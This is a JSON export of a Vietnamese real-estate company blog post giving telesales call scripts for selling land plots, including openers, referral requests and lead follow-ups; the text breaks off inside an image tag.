{"id":38510,"date":"2023-06-30T11:13:38","date_gmt":"2023-06-30T04:13:38","guid":{"rendered":"https:\/\/reti.vn\/blog\/?p=38510"},"modified":"2025-10-22T04:16:47","modified_gmt":"2025-10-21T21:16:47","slug":"kich-ban-telesale-dat-nen-chot-khach-bat-dong-san","status":"publish","type":"post","link":"https:\/\/reti.vn\/blog\/kich-ban-telesale-dat-nen-chot-khach-bat-dong-san\/","title":{"rendered":"Ki\u0323ch ba\u0309n telesale \u0111\u00e2\u0301t n\u00ea\u0300n ch\u1ed1t kh\u00e1ch b\u1ea5t \u0111\u1ed9ng s\u1ea3n \u1ea7m \u1ea7m"},"content":{"rendered":"<p><em>Nh\u1eefng m\u1eabu k\u1ecbch b\u1ea3n telesale b\u1ea5t \u0111\u1ed9ng s\u1ea3n qua \u0111i\u1ec7n tho\u1ea1i v\u00f4 c\u00f9ng hi\u1ec7u qu\u1ea3 v\u1eeba \u0111em l\u1ea1i gi\u00e1 tr\u1ecb cho kh\u00e1ch h\u00e0ng, v\u1eeba thu h\u00fat \u0111\u01b0\u1ee3c s\u1ef1 quan t\u00e2m, ch\u00fa \u00fd c\u1ee7a h\u1ecd. V\u1eady n\u00ean nhi\u1ec1u ng\u01b0\u1eddi l\u00e0m sale b\u1ea5t \u0111\u1ed9ng s\u1ea3n kh\u00f4ng th\u1ec3 b\u1ecf qua c\u00e1c k\u1ef9 n\u0103ng n\u00e0y \u0111\u1ec3 tr\u1edf n\u00ean th\u00e0nh h\u01a1n h\u01a1n trong ngh\u1ec1.<\/em><\/p>\n<p>H\u00e3y c\u00f9ng <strong><a href=\"https:\/\/www.facebook.com\/retiproptech\" target=\"_blank\" rel=\"noopener\">RETI<\/a><\/strong> kh\u00e1m ph\u00e1 c\u00e1c m\u1eabu k\u1ecbch b\u1ea3n ch\u1ea5t l\u01b0\u1ee3ng, h\u1ea5p d\u1eabn cho k\u1ebft qu\u1ea3 ph\u1ea3n h\u1ed3i t\u00edch c\u1ef1c t\u1eeb kh\u00e1ch h\u00e0ng ngay trong b\u00e0i vi\u1ebft d\u01b0\u1edbi \u0111\u00e2y!<\/p>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_82_2 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">N\u1ed9i dung b\u00e0i vi\u1ebft<\/p>\n<label for=\"ez-toc-cssicon-toggle-item-69ed3a6fc45fe\" class=\"ez-toc-cssicon-toggle-label\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/label><input type=\"checkbox\"  id=\"ez-toc-cssicon-toggle-item-69ed3a6fc45fe\"  aria-label=\"Toggle\" \/><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/reti.vn\/blog\/kich-ban-telesale-dat-nen-chot-khach-bat-dong-san\/#Quy_trinh_telesale_bat_dong_san_dem_lai_hieu_qua_cao\" >Quy tr\u00ecnh telesale b\u1ea5t \u0111\u1ed9ng s\u1ea3n \u0111em l\u1ea1i hi\u1ec7u qu\u1ea3 cao<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/reti.vn\/blog\/kich-ban-telesale-dat-nen-chot-khach-bat-dong-san\/#Tham_khao_cac_mau_kich_ban_telesale_hay_dat_hieu_qua_nhat\" >Tham kh\u1ea3o c\u00e1c m\u1eabu k\u1ecbch b\u1ea3n telesale hay, \u0111\u1ea1t hi\u1ec7u qu\u1ea3 nh\u1ea5t<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/reti.vn\/blog\/kich-ban-telesale-dat-nen-chot-khach-bat-dong-san\/#Kich_ban_1_Kich_ban_telesale_Bat_Dong_San_quang_cao_du_an_dang_mo_ban\" >K\u1ecbch b\u1ea3n 1: K\u1ecbch b\u1ea3n telesale B\u1ea5t \u0110\u1ed9ng S\u1ea3n qu\u1ea3ng c\u00e1o d\u1ef1 \u00e1n \u0111ang m\u1edf b\u00e1n<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/reti.vn\/blog\/kich-ban-telesale-dat-nen-chot-khach-bat-dong-san\/#Kich_ban_2_Kich_ban_telesale_Bat_Dong_San_dat_nen_de_mo_rong_tep_khach_hang\" >K\u1ecbch b\u1ea3n 2:\u00a0K\u1ecbch b\u1ea3n telesale B\u1ea5t \u0110\u1ed9ng S\u1ea3n \u0111\u1ea5t n\u1ec1n \u0111\u1ec3 m\u1edf r\u1ed9ng t\u1ec7p kh\u00e1ch h\u00e0ng<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/reti.vn\/blog\/kich-ban-telesale-dat-nen-chot-khach-bat-dong-san\/#Mau_Kich_ban_telesale_BDS_3_Kich_ban_tu_van_theo_nhu_cau_cua_khach_hang\" >M\u1eabu K\u1ecbch b\u1ea3n telesale B\u0110S 3: K\u1ecbch b\u1ea3n t\u01b0 v\u1ea5n theo nhu c\u1ea7u c\u1ee7a kh\u00e1ch h\u00e0ng<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/reti.vn\/blog\/kich-ban-telesale-dat-nen-chot-khach-bat-dong-san\/#Mau_Kich_ban_telesale_BDS_4_Kich_ban_tu_van_neu_nhung_uu_dai_ngay_dau_cuoc_goi\" >M\u1eabu K\u1ecbch b\u1ea3n telesale B\u0110S 4: K\u1ecbch b\u1ea3n t\u01b0 v\u1ea5n n\u00eau nh\u1eefng \u01b0u \u0111\u00e3i ngay \u0111\u1ea7u cu\u1ed9c g\u1ecdi<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/reti.vn\/blog\/kich-ban-telesale-dat-nen-chot-khach-bat-dong-san\/#Mau_Kich_ban_telesale_BDS_5_Gay_chu_y_tu_nhung_moi_quan_he_truoc_do\" >M\u1eabu K\u1ecbch b\u1ea3n telesale B\u0110S 5: G\u00e2y ch\u00fa \u00fd t\u1eeb nh\u1eefng m\u1ed1i quan h\u1ec7 tr\u01b0\u1edbc \u0111\u00f3<\/a><\/li><\/ul><\/li><\/ul><\/nav><\/div>\n<h2><span class=\"ez-toc-section\" id=\"Quy_trinh_telesale_bat_dong_san_dem_lai_hieu_qua_cao\"><\/span><strong>Quy tr\u00ecnh telesale b\u1ea5t \u0111\u1ed9ng s\u1ea3n \u0111em l\u1ea1i hi\u1ec7u qu\u1ea3 cao<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Mu\u1ed1n tr\u1edf th\u00e0nh m\u1ed9t ng\u01b0\u1eddi sale b\u1ea5t \u0111\u1ed9ng s\u1ea3n chuy\u00ean nghi\u1ec7p, b\u1ea1n kh\u00f4ng ch\u1ec9 c\u1ea7n ch\u0103m ch\u1ec9 m\u00e0 ph\u1ea3i c\u00f3 l\u1ed9 tr\u00ecnh c\u00f4ng vi\u1ec7c r\u00f5 r\u00e0ng. Sau \u0111\u00e2y, RETI s\u1ebd \u0111\u01b0a ra quy tr\u00ecnh telesale v\u1ec1 b\u1ea5t \u0111\u1ed9ng s\u1ea3n chuy\u00ean nghi\u1ec7p b\u1ea1n c\u1ea7n bi\u1ebft.<\/p>\n<p>&#8211; N\u1eafm r\u00f5 c\u00e1c \u0111\u1ea7u th\u00f4ng tin c\u1ea7n n\u00f3i v\u1ec1 s\u1ea3n ph\u1ea9m b\u1ea5t \u0111\u1ed9ng s\u1ea3n ch\u00fang ta chu\u1ea9n b\u1ecb cung c\u1ea5p t\u1edbi kh\u00e1ch h\u00e0ng<\/p>\n<p>&#8211; L\u1ef1a ch\u1ecdn c\u00e1c d\u1eef li\u1ec7u kh\u00e1ch h\u00e0ng b\u1ea5t \u0111\u1ed9ng s\u1ea3n ph\u00f9 h\u1ee3p v\u1edbi d\u1ef1 \u00e1n ch\u00fang ta h\u01b0\u1edbng \u0111\u1ebfn<\/p>\n<p>&#8211; Sau \u0111\u00f3 ph\u00e2n t\u00edch v\u00e0 ch\u1ecdn ra \u0111i\u1ec3m n\u1ed5i b\u1eadt nh\u1ea5t c\u1ee7a b\u1ea5t \u0111\u1ed9ng s\u1ea3n \u0111\u1ec3 thi\u1ebft k\u1ebf c\u00e2u ch\u00e0o h\u00e0ng hay nh\u1ea5t<\/p>\n<p>&#8211; B\u1ea1n c\u1ea7n ph\u1ea3i l\u00ean k\u1ecbch b\u1ea3n b\u1ea5t \u0111\u1ed9ng s\u1ea3n sale phone d\u00e0nh cho \u0111\u1ed1i t\u01b0\u1ee3ng kh\u00e1ch h\u00e0ng \u0111\u00e3 nh\u1eafm \u0111\u1ebfn t\u1eeb tr\u01b0\u1edbc<\/p>\n<p>&#8211; Ch\u1ecdn kh\u00f4ng gian tho\u1ea3i m\u00e1i, gi\u1eef t\u00e2m th\u1ebf b\u00ecnh t\u0129nh, nh\u1eb9 nh\u00e0ng \u0111\u1ec3 ch\u00e0o kh\u00e1ch th\u1eadt \u1ea5n t\u01b0\u1ee3ng<\/p>\n<p>&#8211; \u0110\u00e1nh gi\u00e1 v\u00e0 ki\u1ec3m tra l\u1ea1i m\u1ee9c \u0111\u1ed9 ph\u00f9 h\u1ee3p v\u1edbi kh\u00e1ch h\u00e0ng v\u1edbi d\u1ef1 \u00e1n. M\u1ee5c \u0111\u00edch n\u1eafm \u0111\u01b0\u1ee3c t\u00e2m l\u00fd kh\u00e1ch h\u00e0ng xem c\u00f3 n\u00ean ti\u1ebfp t\u1ee5c g\u1ecdi hay chuy\u1ec3n sang kh\u00e1ch h\u00e0ng kh\u00e1c<\/p>\n<p><a href=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/kich-ban-sale-dat-nen-1.jpg\" rel=\"lightbox-0\"><img decoding=\"async\" class=\"aligncenter size-full wp-image-38511 lazyload\" data-src=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/kich-ban-sale-dat-nen-1.jpg\" alt=\"\" width=\"800\" height=\"450\" data-srcset=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/kich-ban-sale-dat-nen-1.jpg 800w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/kich-ban-sale-dat-nen-1-300x169.jpg 300w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/kich-ban-sale-dat-nen-1-768x432.jpg 768w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/kich-ban-sale-dat-nen-1-150x84.jpg 150w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/kich-ban-sale-dat-nen-1-696x392.jpg 696w\" data-sizes=\"(max-width: 800px) 100vw, 800px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" style=\"--smush-placeholder-width: 800px; --smush-placeholder-aspect-ratio: 800\/450;\" \/><\/a><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Tham_khao_cac_mau_kich_ban_telesale_hay_dat_hieu_qua_nhat\"><\/span><strong>Tham kh\u1ea3o c\u00e1c m\u1eabu k\u1ecbch b\u1ea3n telesale hay, \u0111\u1ea1t hi\u1ec7u qu\u1ea3 nh\u1ea5t<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Ng\u01b0\u1eddi l\u00e0m telesale b\u1ea5t \u0111\u1ed9ng s\u1ea3n chuy\u00ean nghi\u1ec7p ch\u1eafc ch\u1eafn \u0111\u00e3 n\u1eb1m l\u00f2ng h\u1ebft c\u00e1c k\u1ecbch b\u1ea3n sale c\u01a1 b\u1ea3n nh\u1ea5t c\u1ee7a d\u00e2n trong ng\u00e0nh r\u1ed3i.<\/p>\n<p>Nh\u1eefng ng\u01b0\u1eddi m\u1edbi c\u1ea7n \u0111\u01b0\u1ee3c \u0111\u00e0o t\u1ea1o, th\u1eadm ch\u00ed h\u1ecdc thu\u1ed9c c\u00e1c k\u1ecbch b\u1ea3n c\u00f3 s\u1eb5n n\u00e0y \u0111\u1ec3 \u00e1p d\u1ee5ng d\u1ec5 h\u01a1n. Th\u1eadm ch\u00ed b\u1ea1n c\u00f3 th\u1ec3 bi\u1ebfn t\u1ea5u sao cho ph\u00f9 h\u1ee3p v\u1edbi t\u1eebng t\u00ecnh hu\u1ed1ng nh\u1ea5t.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Kich_ban_1_Kich_ban_telesale_Bat_Dong_San_quang_cao_du_an_dang_mo_ban\"><\/span><strong><em>K\u1ecbch b\u1ea3n 1: K\u1ecbch b\u1ea3n telesale B\u1ea5t \u0110\u1ed9ng S\u1ea3n qu\u1ea3ng c\u00e1o d\u1ef1 \u00e1n \u0111ang m\u1edf b\u00e1n<\/em><\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>V\u1edbi nh\u1eefng d\u1ef1 \u00e1n \u0111ang m\u1edf b\u00e1n, b\u1ea1n c\u00f3 th\u1ec3 telesale \u0111\u1ebfn kh\u00e1ch h\u00e0ng b\u1eb1ng k\u1ecbch b\u1ea3n sau:<\/p>\n<p>Xin ch\u00e0o, c\u00f3 ph\u1ea3i l\u00e0 anh S\u01a1n kh\u00f4ng? D\u1ea1, em l\u00e0 Ph\u1ea1m Tu\u1ea5n Nam \u0111\u1ebfn t\u1eeb C\u00f4ng ty c\u1ed5 ph\u1ea7n gi\u1ea3i ph\u00e1p c\u00f4ng ngh\u1ec7 B\u0110S &amp; \u0110\u1ea7u t\u01b0 RETI. Em g\u1ecdi \u0111i\u1ec7n \u0111\u1ec3 th\u00f4ng b\u00e1o cho anh ch\u1ecb v\u1ec1 d\u1ef1 \u00e1n Sun Cosmo Residence Da Nang t\u1ea1i tp.\u0110\u00e0 N\u1eb5ng, s\u1eafp m\u1edf b\u00e1n v\u00e0o ng\u00e0y 22\/06\u00a0 [\u0111\u01b0a th\u00f4ng tin c\u1ee5 th\u1ec3 h\u01a1n v\u1ec1 d\u1ef1 \u00e1n].<\/p>\n<p>N\u1ebfu anh ch\u1ecb quan t\u00e2m, em Ph\u1ea1m Tu\u1ea5n Nam xin m\u1eddi anh ch\u1ecb \u0111\u1ebfn xem qua d\u1ef1 \u00e1n c\u1ee7a ch\u00fang em. Kh\u00f4ng bi\u1ebft anh ch\u1ecb c\u00f3 quen bi\u1ebft ai c\u0169ng quan t\u00e2m \u0111\u1ebfn d\u1ef1 \u00e1n n\u00e0y kh\u00f4ng \u1ea1?<\/p>\n<p>[D\u1eebng l\u1ea1i \u0111\u1ec3 kh\u00e1ch h\u00e0ng tr\u1ea3 l\u1eddi]<\/p>\n<p>D\u1ea1, em r\u1ea5t hy v\u1ecdng anh ch\u1ecb s\u1eafp x\u1ebfp th\u1eddi gian v\u00e0 gh\u00e9 qua. C\u1ea3m \u01a1n anh ch\u1ecb v\u00ec \u0111\u00e3 d\u00e0nh th\u1eddi gian cho em ng\u00e0y h\u00f4m nay. Ch\u00fac anh ch\u1ecb m\u1ed9t ng\u00e0y t\u1ed1t l\u00e0nh!<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Kich_ban_2_Kich_ban_telesale_Bat_Dong_San_dat_nen_de_mo_rong_tep_khach_hang\"><\/span><strong><em>K\u1ecbch b\u1ea3n 2:\u00a0K\u1ecbch b\u1ea3n telesale B\u1ea5t \u0110\u1ed9ng S\u1ea3n \u0111\u1ea5t n\u1ec1n \u0111\u1ec3 m\u1edf r\u1ed9ng t\u1ec7p kh\u00e1ch h\u00e0ng<\/em><\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>\u0110\u00e2y l\u00e0 m\u1eabu k\u1ecbch b\u1ea3n salephone \u0111\u1ea5t n\u1ec1n \u0111\u01b0\u1ee3c s\u1eed d\u1ee5ng khi b\u1ea1n h\u01b0\u1edbng \u0111\u1ebfn m\u1ed9t kh\u00e1ch h\u00e0ng th\u00e2n thi\u1ebft \u0111\u00e3 t\u1eebng mua s\u1ea3n ph\u1ea9m c\u1ee7a c\u00f4ng ty. Qua kh\u00e1ch h\u00e0ng, b\u1ea1n c\u00f3 th\u1ec3 nh\u1edd h\u1ed7 tr\u1ee3 m\u1edf r\u1ed9ng t\u1ec7p kh\u00e1ch h\u00e0ng:<\/p>\n<p>Xin ch\u00e0o anh S\u01a1n? Em l\u00e0 Ph\u1ea1m Tu\u1ea5n Nam g\u1ecdi t\u1eeb C\u00f4ng ty c\u1ed5 ph\u1ea7n gi\u1ea3i ph\u00e1p c\u00f4ng ngh\u1ec7 B\u0110S &amp; \u0110\u1ea7u t\u01b0 RETI \u0111\u00e2y. \u0110\u1ee3t n\u00e0y b\u00ean c\u00f4ng ty em c\u00f3 d\u1ef1 \u00e1n m\u1edbi v\u1edbi ti\u1ec1m n\u0103ng \u0111\u1ea7u t\u01b0 sinh l\u1eddi cao. Kh\u00f4ng bi\u1ebft Anh A c\u00f3 quan t\u00e2m v\u1ec1 v\u1ea5n \u0111\u1ec1 n\u00e0y kh\u00f4ng \u1ea1?<\/p>\n<p>[Ch\u1edd kh\u00e1ch h\u00e0ng tr\u1ea3 l\u1eddi]<\/p>\n<p>Th\u1eadt c\u1ea3m \u01a1n v\u00ec anh \u0111\u00e3 \u0111\u1ed3ng \u00fd nghe em t\u01b0 v\u1ea5n. Kh\u00f4ng bi\u1ebft Anh c\u00f3 quen bi\u1ebft ai quan t\u00e2m \u0111\u1ebfn vi\u1ec7c mua\/b\u00e1n b\u1ea5t \u0111\u1ed9ng s\u1ea3n trong th\u1eddi gian g\u1ea7n \u0111\u00e2y kh\u00f4ng?<\/p>\n<p>[Ch\u1edd kh\u00e1ch h\u00e0ng tr\u1ea3 l\u1eddi] N\u1ebfu kh\u00f4ng c\u00f3 kh\u00f4ng sao \u0111\u00e2u \u1ea1. N\u1ebfu Anh th\u1ea5y ai c\u00f3 nhu c\u1ea7u gi\u1edbi thi\u1ec7u v\u1edbi em nha. Em C\u1ea3m \u01a1n Anh S\u01a1n r\u1ea5t nhi\u1ec1u.<br \/>\n[Ch\u1edd kh\u00e1ch h\u00e0ng tr\u1ea3 l\u1eddi] [\u0111\u01b0a th\u00f4ng tin c\u1ee5 th\u1ec3 h\u01a1n v\u1ec1 d\u1ef1 \u00e1n m\u00e0 m\u00ecnh s\u1ebd t\u01b0 v\u1ea5n]<\/p>\n<p><a href=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/kich-ban-sale-dat-nen-2.jpg\" rel=\"lightbox-1\"><img decoding=\"async\" class=\"size-full wp-image-38512 lazyload\" data-src=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/kich-ban-sale-dat-nen-2.jpg\" alt=\"\" width=\"800\" height=\"565\" data-srcset=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/kich-ban-sale-dat-nen-2.jpg 800w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/kich-ban-sale-dat-nen-2-300x212.jpg 300w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/kich-ban-sale-dat-nen-2-768x542.jpg 768w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/kich-ban-sale-dat-nen-2-150x106.jpg 150w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/kich-ban-sale-dat-nen-2-696x492.jpg 696w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/kich-ban-sale-dat-nen-2-100x70.jpg 100w\" data-sizes=\"(max-width: 800px) 100vw, 800px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" style=\"--smush-placeholder-width: 800px; --smush-placeholder-aspect-ratio: 800\/565;\" \/><\/a><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Mau_Kich_ban_telesale_BDS_3_Kich_ban_tu_van_theo_nhu_cau_cua_khach_hang\"><\/span><strong><em>M\u1eabu K\u1ecbch b\u1ea3n telesale B\u0110S 3: K\u1ecbch b\u1ea3n t\u01b0 v\u1ea5n theo nhu c\u1ea7u c\u1ee7a kh\u00e1ch h\u00e0ng<\/em><\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>\u0110\u00e2y l\u00e0 k\u1ecbch b\u1ea3n c\u00f3 data do kh\u00e1ch h\u00e0ng \u0111\u00e3 c\u00f3 quan t\u00e2m v\u1ec1 d\u1ef1 \u00e1n v\u00e0 ch\u1ee7 \u0111\u1ed9ng \u0111\u1ec3 l\u1ea1i th\u00f4ng tin v\u00e0 s\u1ed1 \u0111i\u1ec7n tho\u1ea1i.<\/p>\n<p>D\u1ea1 em ch\u00e0o anh\/ch\u1ecb. Em l\u00e0 Ph\u1ea1m Tu\u1ea5n Nam, l\u00e0 chuy\u00ean vi\u00ean t\u01b0 v\u1ea5n \u0111\u1ea7u t\u01b0 b\u1ea5t \u0111\u1ed9ng s\u1ea3n c\u1ee7a C\u00f4ng ty c\u1ed5 ph\u1ea7n gi\u1ea3i ph\u00e1p c\u00f4ng ngh\u1ec7 B\u0110S &amp; \u0110\u1ea7u t\u01b0 RETI . C\u1ea3m \u01a1n anh\/ch\u1ecb \u0111\u00e3 \u0111\u1ec3 l\u1ea1i s\u1ed1 \u0111i\u1ec7n tho\u1ea1i v\u00e0 th\u00f4ng tin c\u00f3 li\u00ean quan \u0111\u1ebfn d\u1ef1 \u00e1n \u0111\u1ea5t n\u1ec1n b\u00ean em \u1ea1. Em xin ph\u00e9p \u0111\u1ec3 trao \u0111\u1ed5i v\u1edbi anh\/ch\u1ecb l\u00fac n\u00e0y. Kh\u00f4ng bi\u1ebft l\u00e0 b\u00e2y gi\u1edd m\u00ecnh c\u00f3 ti\u1ec7n kh\u00f4ng \u1ea1?<\/p>\n<p>[Ch\u1edd kh\u00e1ch h\u00e0ng ph\u1ea3n h\u1ed3i]<\/p>\n<p>Tr\u01b0\u1eddng h\u1ee3p 1: Kh\u00e1ch ph\u1ea3n h\u1ed3i t\u00edch c\u1ef1c v\u00e0 c\u00f3 nhu c\u1ea7u<\/p>\n<p>D\u1ea1 d\u1ef1 \u00e1n \u0111\u1ea5t n\u1ec1n b\u00ean em ph\u00f9 h\u1ee3p v\u1edbi c\u1ea3 \u0111\u1ea7u t\u01b0 v\u00e0 \u0111\u1ec3 \u1edf. Kh\u00f4ng bi\u1ebft l\u00e0 nhu c\u1ea7u c\u1ee7a m\u00ecnh l\u00e0 \u0111\u1ec3 \u1edf hay \u0111\u1ea7u t\u01b0 v\u1eady \u1ea1?<\/p>\n<p>[Ch\u1edd kh\u00e1ch h\u00e0ng ph\u1ea3n h\u1ed3i]<\/p>\n<p>D\u1ea1 th\u1ebf th\u00ec hay qu\u00e1! (Sau \u0111\u00f3 cung c\u1ea5p th\u00f4ng tin d\u1ef1 \u00e1n B\u0110S)<\/p>\n<p>N\u1ebfu kh\u00e1ch h\u00e0ng \u0111\u1ed3ng \u00fd th\u00ec ti\u1ebfp theo b\u1ea1n s\u1ebd b\u00e1o gi\u00e1 v\u00e0 ch\u1ed1t m\u1ed9t cu\u1ed9c h\u1eb9n tr\u1ef1c ti\u1ebfp v\u1edbi kh\u00e1ch h\u00e0ng. C\u00f2n n\u1ebfu kh\u00e1ch h\u00e0ng t\u1eeb ch\u1ed1i th\u00ec b\u1ea1n n\u00ean v\u1eadn d\u1ee5ng nh\u1eefng kinh nghi\u1ec7m, k\u1ef9 n\u0103ng c\u1ee7a b\u1ea3n th\u00e2n \u0111\u1ec3 x\u1eed l\u00fd t\u1eeb ch\u1ed1i.<\/p>\n<p>Tr\u01b0\u1eddng h\u1ee3p 2: Kh\u00e1ch t\u1eeb ch\u1ed1i<\/p>\n<p>\u0110\u1ed1i v\u1edbi tr\u01b0\u1eddng h\u1ee3p n\u00e0y, b\u1ea1n n\u00ean c\u1ed1 g\u1eafng xin t\u00e0i kho\u1ea3n Zalo, email v\u00e0 g\u1eedi th\u00f4ng tin ch\u01b0\u01a1ng tr\u00ecnh \u0111\u1ebfn kh\u00e1ch. T\u1eeb \u0111\u00f3, t\u1eadn d\u1ee5ng m\u1ecdi c\u01a1 h\u1ed9i, c\u0169ng nh\u01b0 t\u1ea1o \u1ea5n t\u01b0\u1ee3ng \u0111\u1ebfn kh\u00e1ch h\u00e0ng.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Mau_Kich_ban_telesale_BDS_4_Kich_ban_tu_van_neu_nhung_uu_dai_ngay_dau_cuoc_goi\"><\/span><strong><em>M\u1eabu K\u1ecbch b\u1ea3n telesale B\u0110S 4: K\u1ecbch b\u1ea3n t\u01b0 v\u1ea5n n\u00eau nh\u1eefng \u01b0u \u0111\u00e3i ngay \u0111\u1ea7u cu\u1ed9c g\u1ecdi<\/em><\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>D\u1ea1 em ch\u00e0o anh\/ch\u1ecb __ \u1ea1. Em l\u00e0 Ph\u1ea1m Tu\u1ea5n Nam, g\u1ecdi \u0111\u1ebfn t\u1eeb d\u1ef1 \u00e1n Sun Cosmo Residence Da Nang, anh\/ch\u1ecb c\u00f3 th\u1ec3 d\u00e0nh 3 ph\u00fat \u0111\u1ec3 em c\u00f3 th\u1ec3 chia s\u1ebb v\u1ec1 c\u01a1 h\u1ed9i \u0111\u1ea7u t\u01b0 sinh l\u1eddi h\u01a1n 12% so v\u1edbi c\u00e1c h\u00ecnh th\u1ee9c kh\u00e1c m\u00e0 d\u1ef1 \u00e1n mang l\u1ea1i cho anh\/ch\u1ecb nh\u00e9!<\/p>\n<p>[Ch\u1edd kh\u00e1ch h\u00e0ng tr\u1ea3 l\u1eddi]<\/p>\n<p>N\u1ebfu kh\u00e1ch h\u00e0ng \u0111\u1ed3ng \u00fd ti\u1ebfp t\u1ee5c tr\u00ecnh b\u00e0y n\u1ebfu kh\u00e1ch h\u00e0ng t\u1eeb ch\u1ed1i, xin c\u1ea3m \u01a1n!<\/p>\n<p>Tr\u00ecnh b\u00e0y 3-4 gi\u00e1 tr\u1ecb c\u1ed1t l\u00f5i c\u1ee7a d\u1ef1 \u00e1n<\/p>\n<p>\u01afu \u0111i\u1ec3m 1 \u2026<\/p>\n<p>\u01afu \u0111i\u1ec3m 2 \u2026<\/p>\n<p>\u01afu \u0111i\u1ec3m 3 \u2026<\/p>\n<p>Xin c\u1ea3m \u01a1n anh\/ch\u1ecb! N\u1ebfu anh\/ch\u1ecb quan t\u00e2m \u0111\u1ebfn d\u1ef1 \u00e1n, em s\u1ebd g\u1eedi mail chi ti\u1ebft \u0111\u1ec3 anh\/ch\u1ecb tham kh\u1ea3o, n\u1ebfu m\u00ecnh \u01b0ng \u00fd th\u00ec em m\u1eddi anh\/ch\u1ecb \u0111\u1ebfn xem d\u1ef1 \u00e1n c\u1ee7a b\u00ean em lu\u00f4n \u1ea1.<\/p>\n<p>Ch\u00fac anh\/ch\u1ecb m\u1ed9t ng\u00e0y l\u00e0m vi\u1ec7c vui v\u1ebb!<\/p>\n<p><a href=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/kich-ban-sale-dat-nen-3.jpeg\" rel=\"lightbox-2\"><img decoding=\"async\" class=\"aligncenter size-full wp-image-38513 lazyload\" data-src=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/kich-ban-sale-dat-nen-3.jpeg\" alt=\"\" width=\"600\" height=\"401\" data-srcset=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/kich-ban-sale-dat-nen-3.jpeg 600w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/kich-ban-sale-dat-nen-3-300x201.jpeg 300w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/kich-ban-sale-dat-nen-3-150x100.jpeg 150w\" data-sizes=\"(max-width: 600px) 100vw, 600px\" 